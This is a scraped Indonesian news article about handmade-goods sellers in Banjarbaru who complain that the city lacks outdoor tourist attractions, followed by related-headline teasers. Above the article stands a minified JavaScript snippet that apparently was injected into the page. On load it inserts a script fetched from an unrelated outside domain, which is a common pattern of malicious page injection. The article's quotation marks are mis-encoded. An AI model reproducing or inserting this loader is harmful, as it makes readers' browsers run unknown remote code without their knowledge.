(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kurangnya tempat rekreasi outdoor yang bisa membuat para turis datang berkunjung, membuat pebisnis handmade di Banjarbaru kesulitan menjual berbagai produk olahan mereka.
Salah satu pebisnis handmade di Banjarbaru Nurcahyaningsih Dwi Kurniawati mengakui, sulitnya pihaknya menjual produk olahannya karena terbatasnya tempat rekreasi outdoor yang ada di Banjarbaru.
“Tempat rekreasi outdoor di Banjarbaru kini paling hanya tersisa Lapangan Murjani, selebihnya tidak ada lagi. Itu pun ramainya hanya akhir pekan saja, selebihnya kita tidak bisa berjualan karena sepinya turis yang datang,†ungkap Owner Laningdewe Handmade tersebut, Senin (22/10).
Agar bisa tetap menjual banyak produk olahan, dirinya mengaku kini lebih banyak mengandalkan penjualan secara online dan mengikuti even bazaar yang dilakukan oleh dinas atau pihak swasta.
“Kalau dulu di akhir pekan selain menjual produk handmade di lapangan Murjani, kita juga bisa menjualnya di Danau Seran. Namun kini objek wisata tersebut sudah mulai ditinggalkan karena kurang dirawat oleh pengelola setempat,†keluhnya.
Ia pun berharap kedepannya, Pemerintah Kota Banjarbaru bisa lebih banyak membangun objek wisata outdoor yang unik dan menarik agar bisa mendatangkan banyak turis lokal hingga mancanegara bisa berkunjung ke Kota Banjarbaru.
“Seperti di daerah Malang misalnya, di sana kan banyak sekali dibangun berbagai objek wisata outdoor yang menarik. Akibatnya pebisnis handmade pun mudah untuk menjual berbagai produk olahannya, di berbagai objek tempat wisata,†tambahnya.
Sementara itu, Owner Caca Sasirangan, Sigit Eko Prabowo juga mengaku kesulitan menjual produk sasirangannya di Kota Banjarbaru. Hal ini karena minimnya para turis yang datang ke Banjarbaru untuk berwisata.
Akibatnya kini produk kain sasirangan olahannya banyak dijual di Kota Banjarmasin melalui berbagai toko oleh-oleh. Hal ini karena pasarnya jauh lebih menjanjikan dibanding Kota Banjarbaru.
“Saya harapkan Kota Banjarbaru bisa lebih berbenah untuk mendorong peningkatan kunjungan wisatawan. Caranya bisa dengan membuat berbagai objek wisata baru yang unik dan menarik hingga menyelenggarakan even budaya yang punya daya tarik bagi turis,†pungkasnya. (arief)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.